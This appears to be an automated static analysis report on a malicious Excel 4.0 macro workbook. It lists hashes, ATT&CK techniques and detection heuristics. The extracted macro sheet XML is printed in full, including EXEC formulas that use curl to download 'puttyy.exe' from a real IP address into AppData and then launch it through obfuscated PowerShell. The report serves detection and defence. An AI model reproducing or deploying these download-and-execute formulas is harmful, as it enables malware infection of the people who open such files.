Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 75173efdeafa7428…

MALICIOUS

Office (OOXML)

127.7 KB Created: 2020-09-20 21:17:44 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-28
MD5: 6b7fee4260bf661a4d91b1586b7c694e SHA-1: 99f72aae5bf318d6a009ad593409548158a5a2d5 SHA-256: 75173efdeafa7428e38477be54c8815a48f7995a95db31ea63b17863a7aa49ed
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an Excel 4.0 macro sheet that contains critical heuristics indicating the use of dangerous XLM functions like EXEC. The script explicitly uses EXEC to run a command that downloads a file named 'puttyy.exe' from 'http://45.154.4.152/x4/puttyy.exe' to the user's AppData directory. It then uses another EXEC command to launch this downloaded executable via PowerShell. This indicates a clear pattern of downloading and executing a second-stage payload.

Heuristics 7

  • ClamAV: Xls.Dropper.Generic-9823786-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Generic-9823786-0
  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: EXEC critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Hidden worksheet (veryHidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://45.154.4.152/x4/puttyy.exe Referenced by macro
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 1633 bytes
SHA-256: e1805132553b1b40af3fbf83c27fdef69f279a3ca6a0c311da06963dfcfb3c41
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="E584:K624"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="12.75" x14ac:dyDescent="0.2"/><cols><col min="1" max="4" width="11.42578125" customWidth="1"/><col min="5" max="5" width="8.85546875" hidden="1" customWidth="1"/><col min="6" max="256" width="11.42578125" customWidth="1"/></cols><sheetData><row r="584" spans="11:11" x14ac:dyDescent="0.2"><c r="K584" s="3"><f>EXEC("powershell -w 1 stARt`-slE`Ep 10;(New-Object -com Shell.Application).ShellExecute($env:AppData+'\bQXEF.Exe')")</f><v>0</v></c></row><row r="591" spans="11:11" x14ac:dyDescent="0.2"><c r="K591" s="1"/></row><row r="596" spans="11:11" x14ac:dyDescent="0.2"><c r="K596" s="3"><f>EXEC("cmd /c curl http://45.154.4.152/x4/puttyy.exe -o %appdata%\bQXEF.exe")</f><v>0</v></c></row><row r="600" spans="11:11" ht="15" x14ac:dyDescent="0.2"><c r="K600" s="2"/></row><row r="624" spans="11:11" x14ac:dyDescent="0.2"><c r="K624" s="1" t="b"><f>PAUSE()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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